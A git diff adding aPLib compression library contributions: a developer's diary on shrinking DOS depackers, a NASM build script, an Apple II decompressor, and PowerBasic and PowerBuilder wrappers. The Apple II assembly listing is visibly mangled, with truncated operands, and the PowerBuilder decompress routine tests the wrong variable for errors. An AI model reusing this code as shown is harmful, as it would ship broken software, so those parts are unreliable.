think + he'll send me something next Monday, so I put NASM, aPACK, and some test + files in my diskette, together with last DEPPACK. + +30-11-98 > Monday > + As I expected, Jibz has played with DEPPACK v0.2, optimizing it (he + cleaned 3 bytes from DEPACK core) and has eliminated my self-modifying + part (he really seems to hate them), but he hasn't implemented + optimizations from last DEPPTINY, leaving them to me. Easy work, as it was + already done. I spent half an hour with it and apply his last optimizations + on my last version of DEPPACK (876), and send it back to him. + + 1-12-98 Tuesday + I apply the optimization of the core to DEPACK and DEPPTINY. Works + perfectly, and now it's only 395. + + 4-12-98 Friday + I haven't recieved nothing yet, but I can see in his page that he's + working in aPLib v0.20b. A long weekend awaits me, because there's no + class next Monday and Tuesday. + + 6-12-98 > Sunday > + I spent morning with a friend, and I could connect a little while. + The response was there, so I took it. He tells me he's porting my routines + to 16 bit C compilers, Borland ones are working and others are on the way. + In the afternoon I look carefully last optimizations applied to DEPPACK + (871): very instructive. They save a lot of bytes to uncompressed program, + but after compresion he only won 6 bytes. I feel inspired and remove 7 + bytes to uncompressed program, that become a gain of 16 bytes after aPACK + compression. I feel very proud because one of the bytes I've killed was + inside DEPACK core, so in the evening I send Jibz the whole pack from + other friend's home: DEPACK, DEPPACK (855) and DEPPTINY (394). I thought + they were going to be last optimizations before aPLib v0.20b release, but + I was completly wrong. + +14-12-98 Monday + I've finished classes today, and there's been no feedback from Jibz + yet, but I must go to University on Wednesday and Friday. Managed to cut + 2 bytes from DEPPTINY. + +15-12-98 Tuesday + Got an idea: Cleaned 4 bytes from DEPPTINY and 2 from DEPPACK. + +16-12-98 Wednesday > + Got another idea: Cleaned 2 bytes from DEPACK core, so I send him + again the whole package: DEPACK, DEPPACK (851), and DEPPTINY (386), not + knowing if it will be there in time or not... + +18-12-98 Friday + Went to University, but computer rooms where closed. AAAAAARGH! + +20-12-98 > Sunday + Finally could connect, and catch Jibz's response. A new smaller + version of aPACK leaves DEPPACK in 815 bytes. Great! I cut 4 more bytes + from DEPPTINY and 2 from DEPPACK. Start coding DEPPACK 0.3b, capable of + decompressing files of any size. I thought that "57300 bytes lookback" + meant that only 57300 previous bytes were needed to unpack, but it I tried + to use 64K and it didn't work at all. I spent the night trying to find + bugs, and was not sure if it was possible to do what I wanted to do. At + 5 a.m., tired and frustraded I leave it for impossible. + +21-12-98 Monday + I debug the depacking of some files to see the values it can take. + I set the limit in 128K and finally progressive-write got running! I make + progressive-read (much easier), and test the resultant DEPPACK v0.3 in + some extreme files. I fix some bugs and down the limit to 96K, and it + still works. I make the DEPPTINY v0.3 from this, but it's too big, and + can't get it under 512 bytes, so I'm leaving it with 582 bytes. + +22-12-98 Tuesday + I clean the code a little, eliminate all self-modifying parts and + optimize a bit. As DEPPTINY v0.3 can't fit a diskette sector, I make + DEPPTINY v0.2, and it's 439 bytes long (the old 382 bytes long DEPPTINY + was still first version, with 64K infile limit). + +23-12-98 Wednesday > + Fixed one small bug. I'll send him new versions of DEPPACK v0.3 + and DEPPTINY v0.2 and v0.3 + + 7-01-99 Thursday + Back to classes, computer rooms closed due to remote-boot server + is down. I wanna check mail! + +12-01-99 > Tuesday + I see a quite old message, he has managed to cut the size of + DEPPTINY v0.3 down to 550 bytes. Maybe it's possible to fit under 513 + bytes, but still I doubt it. He also sent me a pre-release BETA of + aPACK. + +13-01-99 Wednesday > + As I found a bug on tested aPACK, I wrote Jibz about it and telling + him I'm about to start my exams, so he shouldn't wait for my new DEPPTINY + version to release aPLib. + +15-01-99 > Friday > + aPLib 0.20b has finally been released. Jibz has adapted my code to + his syntax, and re-added the C conexion parts. No problem about it, after + all, aPLib is HIS product, and this way the format is more regular. + There's also a TASM version which work with BC. Examples still almost + unchanged, he just updated the date from 1998 to 1998-99 + But to my nasty surprise, the adapted routines are outdated, and my + last core optimizations (3 bytes) were not added. I add them and also short + some jumps in TASM version. I send corrections to him, but I'm not sure if + he'll update it in v0.20b or in next release... + +17-01-99 Sunday + Can't resist the temptation. Take a look on DEPPTINY. Kill 9 bytes. + Now it's 541. + +18-01-99 Monday > + Send new DEPPTINY to Jibz. + +19-01-99 > Tuesday + AAAAARRGH! He did it! Managed to reduce 29 bytes, leaving DEPPTINY + with 512. Hurra! The only-one diskette sector size has been reached! This + guy is really incredible... And core size has been reduced 5 more bytes... + +27-01-99 Wednesday + Oooops! DEPPTINY is buggy... It seems that last optimizations where + a little bit too agressive. Urg! it's my fault!!!. It was my last 9 bytes + killed!. Can't believe it and can't understand why it fails. Let's debug + it... Ok I found my bug. Hop! Fixed. No penalty bytes. It's still 512. + +28-01-99 Thursday > + Send bugfixed DEPPTINY to Joergen. + +15-02-99 Monday + It has taken me three months to realize that DEPPACK and DEPPTINY + were supporting drives and paths from the begining, despite what DEPPACK + says in the usage message. How could I be SO stupid. + +23-02-99 Tuesday + Started porting last DEPPTINY optimizations to DEPPACK. It's getting + harder than I thought. Killed 1 byte on DEPPTINY > 511. + +24-02-99 Wednesday > + Send the 511 one... Instead of looking to all optimizations and put + and adapt the ones I can to DEPPACK, I've grown a new DEPPACK from last + DEPPTINY, adding the error messages, but it can't handle "bad infile" + detection as it was done with previous DEPPACK. It fails on the same way + of DEPPTINY, and I'm not sure why DEPPTINY fails anyway... It's driving + me insane!!! + +25-02-99 Thursday > + Send the new non perfect DEPPACK to Jibz. Let's see if he can find + something about the mysterious bug. + + 1-03-99 Monday + Kill another byte from DEPPTINY > 510. Gonna test it. Arg! Another + pretty bug! Let's see... DEPPACK works right... 512-DEPPTINY works right + 511-DEPPTINY fails... Strange. Oh, now I've seen it... Bugfixed. Ported + the 5 bytes core optimizations to DEPACK16 routines, and cleaned 3 bytes + from C connection part from them. + + 3-03-99 Wednesday > + Send the bugfixed 510 DEPPTINY. + + 8-03-99 Tuesday > + Removing those 3 bytes from C connection part wasn't such a good + idea, but 1 of them at least can be safely removed. Re-send the non + perfect DEPPACK. + + 9-03-99 > Wednesday + Jibz spent 3 bytes to make DEPPTINY a bit safer (it was assuming + that high part of ESP was always 0), and removed 6 more bytes from it. + Now it's only 507, and better than previous ones. I think we could also + spend one more byte to clear the direction flag, leaving it with 508. + +11-03-99 Friday > + Send the 508 one and this updated history till the entry before this + one :-) + +16-03-99 Tuesday + Ported the last optimizations to my own C-less version of DEPACK16. + Started to look again at DEPPACK. Let's start from old DEPPACK instead of + growing it from DEPPTINY. I'm checking the good behaviour of the whole + thing with every bit changed. It's a really frustrating job. + +17-03-99 Wednesday + I've isolated 3 test versions of DEPPACK, one of them detects the + "bad infile" in the test file, another gives always the same result and + the last one produces different results depending of previous memory + state. Still I can't understand why it happens. + +18-03-99 Thursday > + Send the test files to Jibz. Let's see if we can find out what the + hell is happening together. + +21-03-99 Sunday + I've finally find out a possible solution (with expensive 9 bytes + fix) to detect bad infiles. Seems to work well. Ported it to the "grown + from DEPPTINY" one. + +22-03-99 Monday > + Send the fix to Jibz. + +24-03-99 Wednesday + Ported the fix to DEPPTINY, removing another test to keep it under + 512 (actually 511). Found a bug in DEPPACK Jibz advised me about a while + ago. Let's debug it once again. Fixed. Let's make a major test of + everything. Ooopss!! First file tested: new bug found. This one crashes + the system, for both brand-new DEPPACK and DEPPTINY. Seems to happen when + saving last part. Let's debug it again. Ok, fixed too. + +25-03-99 Thursday > + Send everything... Some files were corrupted, and I'm told that + current version is 0.22 instead of 0.21. Make the changes and resend it + all. + +26-03-99 Friday + It seems that a really strange bug now happens only under DOS and + not under Windows, corrupting last part of a big test file. This version + seems doomed. + + 6-04-99 Tuesday + 3 more bytes from DEPPACK has been removed. Tomorrow I'll send it + +27-04-99 Tuesday > + Send DEPPACK and DEPPTINY to aPACK mail-list to see if someone + knows what is happening. + +26-05-99 > Wednesday + aPLib 0.22b has finally been released. As it happened with 0.20, + some files aren't updated. Jibz didn't respond about the strange bug when + I asked him information in the mail-list, and there's no reference about + it in the release. Maybe it wasn't DEPPACK problem after all. Tomorrow + I'll send him newer versions of updated files. + +28-05-99 > Friday > + I've finally sent the updated files, and a silent update with those + files has been made in Jibz's homepage. + + 1-06-99 > Tuesday + Oleg Prokhorov has found the famous bug. Microsoft fault, because: + wasn't DOS supposed to be a 16 bit O.S.? Then why the hell is it + corrupting the high part of eax when calling an API function? The fix + cost 2 bytes for each version, so it makes DEPPTINY grow to 513 (arg!). + + 3-06-99 Thursday + I think we should sacrifice again the cld intruction in DEPPTINY + to keep it in 512 + +13-07-99 Tuesday + I've found 2 small mistakes in the files I sent for the updated + version. DEPACK16.NAS claims to be v0.21b, and DEPACK16.ASM has a + "adc ecx, ecx" instead the "adc cx,cx" it should have. (So TASM users + get a 1 byte bigger version than NASM ones). Removed 8 bytes from + DEPPACK. Now it's 954/878 bytes long. + +15-07-99 Thursday > + Send everything + +20-07-99 > Tuesday + Jibz has managed to cut 11 bytes from DEPPTINY!!!! Of course cld + is welcomed again, leaving it in 502. + +25-07-99 Sunday + Ported Jibz's last optimizations to DEPPACK (941/873) and source + codes, and added back the missing bad infile test to DEPPTINY (506). + Oops! I changed the wrong "adc ecx,ecx" to "adc cx,cx", fixed. Tomorrow + I'll send it. + + 2-09-99 Thursday + Removed 1 byte from DEPPACK (940/872) + +22-11-99 Monday + 3 bytes removed from DEPPTINY (503: Getting near the 500 barrier...) + and DEPPACK (937/833 -> Using Chut's 4C, algorithm 02). + +24-11-99 Thursday + The new 4C-02 v1.01 leaves DEPPACK at 832. + +28-11-99 Monday + The updated 16 bit depackers finally appear at Jibz's homepage. + +29-02-00 Tuesday + Removed 2 more bytes from DEPPTINY (501) and DEPPACK (935/827 -> + Using Chut's 4C-02 version 1.00 alpha). Start commenting DEPPTINY a bit + more... + + 2-03-00 Thrusday + Removed another byte from both (500, 934/826). + + 4-03-00 Saturday + And one more (499!, 933/826). I'm thinking about performing a + memory test to check you actually have those 162K needed to run the + programs. I guess 13 bytes are more than enough for DEPPTINY. + +10-03-00 Friday + Removed 2 more bytes from both again (497,931/822). + + 3-04-00 Monday + Removed 2 VERY evident do-nothing bytes from DEPPACK (929/821). + + 4-04-00 Tuesday > + Added memory check (7 bytes for DEPPTINY (504), 29 for DEPPACK + (962/848)). Continue adding comments to DEPPTINY... and put'em in DEPPACK + too. Now I feel it's small, safe and clear enough to raise the version to + v0.9 (nearly perfect?). + + 5-04-00 > Wednesday + Jibz cutted 2 bytes from core, and 6 more from DEPPACK's syntax + text, leaving sizes of 502 for DEPPTINY and 954/841 for DEPPACK. Also, + aPLib's version number has been increased to v0.26b. + +25-04-00 Tuesday + aPLib 0.26 has been released. + + 8-05-00 Monday > + 1 byte removed from core. One bug detected in TASM version of + DEPACK16.ASM + +14-05-00 Sunday + Removed another byte from DEPPTINY (500). + +23-05-00 Tuesday > + Removed another byte from both DEPPTINY (499) and DEPPACK (952/836). + My mail server has changed from bart to aluesi, so my email is now: + + metalb@aluesi.us.es + + 2-07-00 Sunday + Removed another byte from both DEPPTINY (498) and DEPPACK (951/836) + + 3-07-00 Monday > + Another one! (497,950/831) + + 8-07-00 Saturday + Another one! (496,949/831) + +14-10-00 Saturday + BUGFIX: Up till now, the depackers didn't work with a drive for + outfile. I've been able to fix this, and costed 17 bytes for DEPPTINY + (513, aargh! CLD sacrifice again?). aPPACK also suffers from this bug. + +15-10-00 Sunday + No sacrifice. I removed one more byte -> 512!. Applied bugfix to + DEPPACK (967/858). Version raised to v0.99 (now, I will just add timestamp + preservation for v1.00, only for DEPPACK, as DEPPTINY can't handle any + more code). + +19-10-00 Thrusday > + Added timestamp preservation to DEPPACK (983/864). Version raised + to v1.0 . Next improvement: long filenames support? + +27-10-00 Friday > + Removed 9 bytes from DEPPACK (974/851), and 7 from DEPPTINY (505). + +29-10-00 Sunday > + Removed 4 more bytes from DEPPTINY (501) and 7 from DEPPACK + (967/851 (Hmmm, no gain after compression). Now the timestamp preservation + nearly fits in DEPPTINY!... 3 bytes left to be removed to add it. + +23-02-01 > Friday + Jibz sent me a beta version of new aPLib 0.34, and asked me to + update my depackers, because the encoding method has changed, and also + the aPPack program has added a header to the files. Well, it will take + just a few bytes to update the decode routine, so it would fit in + DEPPTINY, but the header adds even more bytes, so I feel I can't fit it + under 512, so I'll discontinue development of DEPPTINY and concentrate + just on DEPPACK. But perhaps a headerless DEPPTINY will be included for + anyone who wants to see the last optimizations. + +25-02-01 Sunday + Updated the decoding routine. Just 10 bytes. It works cutting the + first 8 bytes from new packed files. DEPPTINY is ready. + +28-02-01 Wednesday > + Added header support, of course including more tests for bad infile + detection based on header. It makes 1023/903 for DEPPACK. Version raised + to 1.1 . Version 1.2 will probably include partial long filenames support. + +19-10-01 > Friday + Received a new beta of aPLib 0.34. Header size has grown from 8 to + 24 bytes, adding CRC info and info about packed file. + +22-10-01 Monday > + Made a few changes to DEPPACK to support new headers, but new tests + using CRCs and size of packed file are not added... yet!. No size penalty. + +24-10-01 Wednesday > + DEPPACK now reads the header in two steps, to skip the header + whatever it's size is, making it compatible with future aPPack versions. + This costs a few bytes (1034/913). diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/makeit.bat b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/makeit.bat new file mode 100644 index 0000000..471a01b --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/makeit.bat @@ -0,0 +1,6 @@ +@ECHO OFF +ECHO --- Building aPLib 16bit NASM depacker examples --- +ECHO. + +call nasm deppack.nas -o deppack.com +call nasm depptiny.nas -o depptiny.com diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/AppleII/apdstsrc.s b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/AppleII/apdstsrc.s new file mode 100644 index 0000000..5446991 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/AppleII/apdstsrc.s @@ -0,0 +1,259 @@ +;aPLib data decompressor for Apple II +;Peter Ferrie (peter.ferrie@gmail.com) +;assemble using ACME +;dstpakoff ;packed data offset + sta src+1 + lda #orgoff ;original unpacked data offset + sta dst+1 + !if (>(oep-1)=>orgoff) { ;oep = original entrypoint + pha + } else { + lda #>(oep-1) + pha + } + lda #literal + sta A1H + lda #pakoff+paksize ;packed data offset + packed data size + sta A2H + lda #pakoff + sta A2H + lda #hioff + sta A4H + lda #pakoff+paksize ;packed data offset + packed data size + sta src+1 + lda #orgoff+orgsize ;original unpacked data offset + original unpacked size + sta dst+1 + !if (>(oep-1)=>(orgoff+orgsize)) { ;oep = original entrypoint + pha + } else { + lda #>(oep-1) + pha + } + lda # Decompression) ... + ' DECLARE FUNCTION aP_depack (BYVAL src AS BYTE PTR, BYVAL dst AS BYTE PTR) AS DWORD + ' DECLARE FUNCTION aP_depack_safe (BYVAL src as BYTE PTR, BYVAL srclen AS DWORD, BYVAL dst AS BYTE PTR, BYVAL dstlen AS DWORD) AS DWORD + + '// ### Helpers + DECLARE FUNCTION aP_crc32 LIB "aplib.dll" ALIAS "_aP_crc32" (BYVAL src AS BYTE PTR, BYVAL srclen AS DWORD) AS DWORD + DECLARE FUNCTION aPsafe_get_orig_size LIB "aplib.dll" ALIAS "_aPsafe_get_orig_size" (BYVAL src AS BYTE PTR) AS DWORD + DECLARE FUNCTION aPsafe_check LIB "aplib.dll" ALIAS "_aPsafe_check" (BYVAL src AS BYTE PTR) AS DWORD + DECLARE FUNCTION aP_callback (BYVAL insize AS DWORD, BYVAL inpos AS DWORD, BYVAL outpos AS DWORD, cbparam AS DWORD) AS DWORD '// callback function in the app (not in aplib.dll) + +#ENDIF '// End aplib.inc diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/example.txt b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/example.txt new file mode 100644 index 0000000..34390d3 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/example.txt @@ -0,0 +1,39 @@ +Compress File: + +Integer li_rtn +String ls_source +String ls_dest + +uo_external_function_compression compression_func + +compression_func = Create uo_external_function_compression + +ls_source = as_source + as_file +ls_dest = as_dest + compression_func.uof_compressed_name(as_file) + +li_rtn = compression_func.uof_compress(ls_source, ls_dest, as_message) + +Destroy compression_func + +Return li_rtn + + + + +Decompress File: +Integer li_rtn +String ls_source +String ls_dest + +uo_external_function_compression compression_func + +compression_func = Create uo_external_function_compression + +ls_source = as_source + compression_func.uof_compressed_name(as_file) +ls_dest = as_dest + as_file + +li_rtn = compression_func.uof_decompress(ls_source, ls_dest, as_message) + +Destroy compression_func + +Return li_rtn \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_filetime.srs b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_filetime.srs new file mode 100644 index 0000000..b9a7963 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_filetime.srs @@ -0,0 +1,6 @@ +$PBExportHeader$str_filetime.srs +global type str_filetime from structure + unsignedlong dwlowdatetime + unsignedlong dwhighdatetime +end type + diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_netresource.srs b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_netresource.srs new file mode 100644 index 0000000..5dc5daa --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_netresource.srs @@ -0,0 +1,12 @@ +$PBExportHeader$str_netresource.srs +global type str_netresource from structure + unsignedlong dwscope + unsignedlong dwtype + unsignedlong dwdisplaytype + unsignedlong dwusage + string lplocalname + string lpremotename + string lpcomment + string lpprovider +end type + diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_ofstruct.srs b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_ofstruct.srs new file mode 100644 index 0000000..ecdef04 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_ofstruct.srs @@ -0,0 +1,10 @@ +$PBExportHeader$str_ofstruct.srs +global type str_ofstruct from structure + unsignedinteger cbytes + unsignedinteger ffixeddisk + unsignedlong nerrcode + unsignedlong reserved1 + unsignedlong reserved2 + string szpathname +end type + diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_overlapped.srs b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_overlapped.srs new file mode 100644 index 0000000..1b92bf9 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_overlapped.srs @@ -0,0 +1,9 @@ +$PBExportHeader$str_overlapped.srs +global type str_overlapped from structure + unsignedlong Internal + unsignedlong InternalHigh + unsignedlong Offset + unsignedlong OffsetHigh + unsignedlong hEvent +end type + diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_security_attibutes.srs b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_security_attibutes.srs new file mode 100644 index 0000000..0380e9a --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_security_attibutes.srs @@ -0,0 +1,7 @@ +$PBExportHeader$str_security_attibutes.srs +global type str_security_attibutes from structure + unsignedlong nlength + long lpsecuritydescriptor + boolean binherithandle +end type + diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/uo_external_function_compression.sru b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/uo_external_function_compression.sru new file mode 100644 index 0000000..da5298e --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/uo_external_function_compression.sru @@ -0,0 +1,285 @@ +$PBExportHeader$uo_external_function_compression.sru +forward +global type uo_external_function_compression from nonvisualobject +end type +end forward + +global type uo_external_function_compression from nonvisualobject +end type +global uo_external_function_compression uo_external_function_compression + +type prototypes + +Function ULong _aPsafe_pack(Ref String source, Ref String destination, ULong length, & + Ref String workmen, Long callback, Long cbparam) Library "C:\ems\aplib.dll" +Function ULong _aPsafe_depack(Ref String source, ULong srclen, Ref String destination, & + ULong dstlen) Library "C:\ems\aplib.dll" +Function ULong _aPsafe_get_orig_size(Ref String source) Library "C:\ems\aplib.dll" +Function ULong _aP_workmem_size(Ulong length) Library "C:\ems\aplib.dll" +Function ULong _aP_max_packed_size(Ulong input_size) Library "C:\ems\aplib.dll" + +end prototypes + +forward prototypes +public function unsignedlong uof_workmem_size (ref unsignedlong aul_size) +public function unsignedlong uof_max_packed_size (ref unsignedlong aul_size) +public function integer uof_num_of_loops (long al_length) +public function long uof_get_orig_size (ref string as_source) +public function string uof_alloc_memory (unsignedlong aul_size) +public function integer uof_compress (string as_source, string as_dest, ref string as_message) +public function integer uof_decompress (string as_source, string as_dest, ref string as_message) +public function string uof_compressed_name (string as_file) +public function string uof_decompressed_name (string as_file) +end prototypes + +public function unsignedlong uof_workmem_size (ref unsignedlong aul_size); +UnsignedLong lul_ret + +lul_ret = _aP_workmem_size(aul_size) +If lul_ret = 0 then lul_ret = 655360 + +Return lul_ret +end function + +public function unsignedlong uof_max_packed_size (ref unsignedlong aul_size); +UnsignedLong lul_ret + +lul_ret = _aP_max_packed_size(aul_size) +If lul_ret = 0 then lul_ret = 36925 + +Return lul_ret +end function + +public function integer uof_num_of_loops (long al_length);Integer li_loop + +Choose Case al_length +Case 1 + li_loop = 1 + +Case -1 + li_loop = -1 + +Case Else + If Mod(al_length, 32765) = 0 Then + li_loop = al_length/32765 + Else + li_loop = (al_length/32765) + 1 + End If +End Choose + +Return li_loop +end function + +public function long uof_get_orig_size (ref string as_source); +Long ll_ret + +ll_ret = _aPsafe_get_orig_size(as_source) + +Return ll_ret +end function + +public function string uof_alloc_memory (unsignedlong aul_size); +String ls_string + +Choose Case aul_size +Case is < 1 + SetNull(ls_string) + +Case is > 2147483647 + SetNull(ls_string) + +Case Else + ls_string = Space(aul_size) +End Choose + +Return ls_string +end function + +public function integer uof_compress (string as_source, string as_dest, ref string as_message); +Boolean lb_ret + +Long ll_null = 0 +Long ll_ret +Long ll_source +Long ll_dest + +ULong lul_size +ULong lul_bytes_read +ULong lul_bytes_to_read + +String ls_work_mem +String ls_source +String ls_dest + +uo_external_function_winapi api_func + +api_func = Create uo_external_function_winapi + +SetNull(as_message) + +ll_source = api_func.uf_create_file(as_source, 1, 1, 3, 128) +If ll_source = -1 Then + as_message = 'Error opening file ' + as_source + '.' + Return -1 +End If + +lul_bytes_to_read = FileLength(as_source) +ls_source = uof_alloc_memory(lul_bytes_to_read) +If IsNull(ls_source) Then + as_message = 'Unable to allocate memory to read source file ' + as_source + '.' + Return -1 +End If + +lb_ret = api_func.uf_read_file(ll_source, ls_source, lul_bytes_to_read, lul_bytes_read) +lb_ret = api_func.uf_close_file(ll_source) + +lul_size = uof_max_packed_size(lul_bytes_read) +ls_dest = uof_alloc_memory(lul_size) +If IsNull(ls_dest) Then + as_message = 'Unable to allocate packed memory size ' + String(lul_size) + Return -1 +End If + +lul_size = uof_workmem_size(lul_bytes_read) +ls_work_mem = uof_alloc_memory(lul_size) +If IsNull(ls_work_mem) Then + as_message = 'Unable to allocate working memory size ' + String(lul_size) + Return -1 +End If + +ll_ret = _aPsafe_pack(ls_source, ls_dest, lul_bytes_read, ls_work_mem, ll_null, ll_null) +If ll_ret = -1 Then + as_message = 'Error compressing file ' + as_source + '.' + Return -1 +End If + +If FileExists(as_dest) Then FileDelete(as_dest) + +ll_dest = api_func.uf_create_file(as_dest, 4, 2, 4, 128) +If ll_dest = -1 Then + as_message = 'Error creating file ' + as_dest + '.' + Return -1 +End If + +lb_ret = api_func.uf_write_file(ll_dest, ls_dest, ll_ret) +lb_ret = api_func.uf_close_file(ll_dest) + +Destroy api_func + +Return 1 +end function + +public function integer uof_decompress (string as_source, string as_dest, ref string as_message);Boolean lb_ret + +Long ll_null = 0 +Long ll_ret +Long ll_source +Long ll_dest + +ULong lul_size +ULong lul_bytes_read +ULong lul_bytes_to_read + +String ls_source +String ls_dest + +uo_external_function_winapi api_func + +api_func = Create uo_external_function_winapi + +SetNull(as_message) + +ll_source = api_func.uf_create_file(as_source, 1, 1, 3, 128) +If ll_source = -1 Then + as_message = 'Error opening file ' + as_source + '.' + Return -1 +End If + +lul_bytes_to_read = FileLength(as_source) +ls_source = uof_alloc_memory(lul_bytes_to_read) +If ll_source = -1 Then + as_message = 'Unable to allocate memory to read source file ' + as_source + '.' + Return -1 +End If + +lb_ret = api_func.uf_read_file(ll_source, ls_source, lul_bytes_to_read, lul_bytes_read) +lb_ret = api_func.uf_close_file(ll_source) + +If FileExists(as_dest) Then FileDelete(as_dest) + +lul_size = uof_get_orig_size(ls_source) +ls_dest = uof_alloc_memory(lul_size) +If ll_source = -1 Then + as_message = 'Error opening file ' + as_source + '.' + Return -1 +End If + +ll_ret = _aPsafe_depack(ls_source, lul_bytes_read, ls_dest, lul_size) +If ll_source = -1 Then + as_message = 'Error decompressing file ' + as_source + '.' + Return -1 +End If + +ll_dest = api_func.uf_create_file(as_dest, 4, 2, 4, 128) +If ll_source = -1 Then + as_message = 'Error creating file ' + as_dest + '.' + Return -1 +End If + +lb_ret = api_func.uf_write_file(ll_dest, ls_dest, ll_ret) +lb_ret = api_func.uf_close_file(ll_dest) + +Destroy api_func + +Return 1 + +end function + +public function string uof_compressed_name (string as_file); +String ls_temp + +ls_temp = Left(as_file, (Len(as_file) - 1)) + '_' + +Return ls_temp +end function + +public function string uof_decompressed_name (string as_file); +String ls_ext1 +String ls_ext2 +String ls_file +Long ll_pos + +ls_file = as_file + +ls_ext1 = Right(ls_file, 3) +Choose Case Lower(ls_ext1) +Case 'pb_' + ls_ext2 = 'pbd' + +Case 'ex_' + ls_ext2 = 'exe' + +Case 'dl_' + ls_ext2 = 'dll' + +Case Else + SetNull(ls_ext2) + +End Choose + +ll_pos = Pos(ls_file, ls_ext1) +ls_file = Replace(ls_file, ll_pos, 3, ls_ext2) + +Return ls_file +end function + +on uo_external_function_compression.create +call super::create +TriggerEvent( this, "constructor" ) +end on + +on uo_external_function_compression.destroy +TriggerEvent( this, "destructor" ) +call super::destroy +end on + diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/uo_external_function_winapi.sru b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/uo_external_function_winapi.sru new file mode 100644 index 0000000..71d8e43 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/uo_external_function_winapi.sru @@ -0,0 +1,497 @@ +$PBExportHeader$uo_external_function_winapi.sru +$PBExportComments$Window api external functions +forward +global type uo_external_function_winapi from uo_external_function +end type +type str_memorystatus from structure within uo_external_function_winapi +end type +end forward + +type str_memorystatus from structure + unsignedlong sul_dwlength + unsignedlong sul_dwmemoryload + unsignedlong sul_dwtotalphys + unsignedlong sul_dwavailphys + unsignedlong sul_dwtotalpagefile + unsignedlong sul_dwavailpagefile + unsignedlong sul_dwtotalvirtual + unsignedlong sul_dwavailvirtual +end type + +global type uo_external_function_winapi from uo_external_function +end type +global uo_external_function_winapi uo_external_function_winapi + +type prototypes +//playsound +Function boolean sndPlaySoundA (string SoundName, uint Flags) Library "WINMM.DLL" +Function uint waveOutGetNumDevs () Library "WINMM.DLL" + +//getsyscolor +Function ulong GetSysColor (int index) Library "USER32.DLL" + +//getsystemmetrics +Function int GetSystemMetrics (int index) Library "USER32.DLL" + +//getfreememory +Subroutine GlobalMemoryStatus (ref str_memorystatus memorystatus ) Library "KERNEL32.DLL" + +//set and kill timer +Function Boolean KillTimer (long handle, uint id ) library "USER32.DLL" +Function uint SetTimer (long handle, uint id, uint time, long addr ) library "USER32.DLL" + +//GetModuleHandle +Function long GetModuleHandleA(string modname) Library "KERNEL32.DLL" +Function ulong FindWindowA (ulong classname, string windowname) Library "USER32.DLL" +Function integer FindExecutable ( string FileName, & + REF string Directory, REF string Result ) Library "shellapi32" + +Function boolean FlashWindow (long handle, boolean flash) Library "USER32.DLL" +Function uint GetWindow (long handle,uint relationship) Library "USER32.DLL" +Function int GetWindowTextA(long handle, ref string wintext, int length) Library "USER32.DLL" +Function int GetWindowTextLengthA(long handle) Library "USER32.DLL" +Function boolean IsWindowVisible (long handle) Library "USER32.DLL" +Function uint GetWindowsDirectoryA (ref string dirtext, uint textlen) library "KERNEL32.DLL" +Function uint GetSystemDirectoryA (ref string dirtext, uint textlen) library "KERNEL32.DLL" +Function uint GetDriveTypeA (string drive) library "KERNEL32.DLL" +Function ulong GetCurrentDirectoryA (ulong textlen, ref string dirtext) library "KERNEL32.DLL" +Function boolean SetFileAttributesA(ref string lpfilename, ulong dwFileAttributes) library "KERNEL32.DLL" + +// Close application +Function boolean DestroyWindow(ulong handle) Library "USER32.DLL" + +Function boolean GetUserNameA (ref string name, ref ulong len) library "ADVAPI32.DLL" +Function ulong GetTickCount ( ) Library "KERNEL32.DLL" +Function Long LZCopy (Uint hfSourcet, Uint hfDes ) library "user32.exe" +function uint OpenFile(String lpszFileName, str_ofstruct lpOpenBuff, Uint fuMode) library "kernel32.DLL" +FUNCTION boolean SetCurrentDirectoryA(ref string cdir) LIBRARY "kernel32.dll" +FUNCTION Long WNetAddConnection2A(ref str_netresource lpNetResource, ref string lpPassword, & + ref string lpUsername, Long dwFlags) LIBRARY "mpr.dll" +FUNCTION ULong WNetCancelConnectionA(string lpName, BOOLEAN fForce) LIBRARY "mpr.dll" +FUNCTION ULong WNetGetLastErrorA(REF ULong lpError, Ref String lpErrorBuf, Ulong nErrorBufSize, & + Ref string lpNameBuf, ULONG nNameBufSize) LIBRARY "mpr.dll" +Function Boolean CloseHandle(ULong hObject) library "kernel32.DLL" +Function ULong CreateFileA(Ref String lpFileName, ULong 